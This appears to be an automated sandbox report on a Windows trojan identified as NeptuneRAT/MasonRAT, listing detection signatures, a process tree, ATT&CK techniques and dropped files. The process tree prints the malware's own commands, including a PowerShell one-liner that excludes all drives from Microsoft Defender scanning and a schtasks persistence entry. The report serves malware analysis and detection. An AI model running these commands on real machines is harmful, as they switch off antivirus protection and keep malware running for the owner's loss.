Analysis
- max time kernel
149s - max time network
156s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
07/08/2026, 14:19
General
- Target 2026-08-07_25611089fadf31592856c1a7d98ad079_cobalt-strike_glassworm_icedid_luca-stealer_njrat.exe
- Size 32.0MB
- Sample260807-rm9pcaxcnc
- SHA256 22fb023adf0cff92d72f1927c6e5262f78ad8d7243bf4d3b0b3194c9858649ac
Malware Config
Signatures
- Family: NeptuneRAT, MasonRAT
NeptuneRAT aka MasonRAT is a trojan written in C#.
- Detects NeptuneRAT stealer 1 IoCs
- Detects Windows exceutables bypassing UAC using CMSTP utility, command line and INF 1 IoCs
- Detects Windows executables referencing non-Windows User-Agents 1 IoCs
- Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers 1 IoCs
- Detects executables (downlaoders) containing URLs to raw contents of a paste 1 IoCs
- Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 10 IoCs
- Loads dropped DLL 16 IoCs
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 1 IoCs
Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Hide Artifacts: Ignore Process Interrupts 1 TTPs 1 IoCs
Command interpreters often include specific commands/flags that ignore errors and other hangups.
- Detects Pyinstaller 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 48 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 11 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-07_25611089fadf31592856c1a7d98ad079_cobalt-strike_glassworm_icedid_luca-stealer_njrat.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-07_25611089fadf31592856c1a7d98ad079_cobalt-strike_glassworm_icedid_luca-stealer_njrat.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\MasonDrop\WindowsScurity.exe"C:\Users\Admin\AppData\Local\Temp\MasonDrop\WindowsScurity.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\MasonDrop\MasonClient.exe"C:\Users\Admin\AppData\Local\Temp\MasonDrop\MasonClient.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"4⤵
- Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
- Hide Artifacts: Ignore Process Interrupts
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\chcp.comchcp 650015⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\MasonDrop\Bypassed.exe"C:\Users\Admin\AppData\Local\Temp\MasonDrop\Bypassed.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\94e70b4f-8201-4b0b-bd00-0c0a9863790f.exe"C:\Users\Admin\AppData\Local\Temp\94e70b4f-8201-4b0b-bd00-0c0a9863790f.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\MasonDrop\AutoClicker.exe"C:\Users\Admin\AppData\Local\Temp\MasonDrop\AutoClicker.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\MasonDrop\AutoClicker.exe"C:\Users\Admin\AppData\Local\Temp\MasonDrop\AutoClicker.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"4⤵
- Executes a command shell one-liner
-
-
-
-
C:\Users\Admin\AppData\Roaming\unsecapp.exeC:\Users\Admin\AppData\Roaming\unsecapp.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\unsecapp.exe"C:\Users\Admin\AppData\Roaming\unsecapp.exe"1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /tn "unsecapp" /tr "C:\Users\Admin\AppData\Roaming\unsecapp.exe"2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Roaming\unsecapp.exe"C:\Users\Admin\AppData\Roaming\unsecapp.exe"1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Roaming\unsecapp.exe"C:\Users\Admin\AppData\Roaming\unsecapp.exe"1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
94e70b4f-8201-4b0b-bd00-0c0a9863790f.exe
AutoClicker.exe
Bypassed.exe
MasonClient.exe
WindowsScurity.exe
_imaging.cp311-win_amd64.pyd
VCRUNTIME140.dll
_asyncio.pyd
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_elementtree.pyd
_hashlib.pyd
_lzma.pyd
_multiprocessing.pyd
_overlapped.pyd
_queue.pyd
_socket.pyd
_ssl.pyd
auto.tcl
cp1252.enc
init.tcl
tclIndex
tm.tcl
tk.tcl
_tkinter.pyd
base_library.zip
blue.json
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
pyexpat.pyd
python3.DLL
python311.dll
select.pyd
tcl86t.dll
msgcat-1.6.1.tm
tk86t.dll
unicodedata.pyd
memory/2656-30-0x0000000000900000-0x00000000009A8000-memory.dmp
memory/2804-141-0x00007FF76E5A0000-0x00007FF76E5AE000-memory.dmp
memory/4132-47-0x00000000009A0000-0x00000000009E2000-memory.dmp
memory/5020-1090-0x00007FF613BA0000-0x00007FF613BB9000-memory.dmp
memory/5020-1078-0x00000002DF460000-0x00000002DF4BA000-memory.dmp
memory/5020-1101-0x00007FF613BA0000-0x00007FF613BB9000-memory.dmp
memory/5068-727-0x000001656F130000-0x000001656F1E2000-memory.dmp
memory/5068-675-0x000001656F110000-0x000001656F12E000-memory.dmp
memory/5068-831-0x000001656F100000-0x000001656F10A000-memory.dmp
memory/5068-34-0x000001656EE80000-0x000001656EEA2000-memory.dmp
memory/5856-1077-0x0000000001470000-0x0000000001484000-memory.dmp
memory/5952-35-0x00007FF6DA680000-0x00007FF6DA68D000-memory.dmp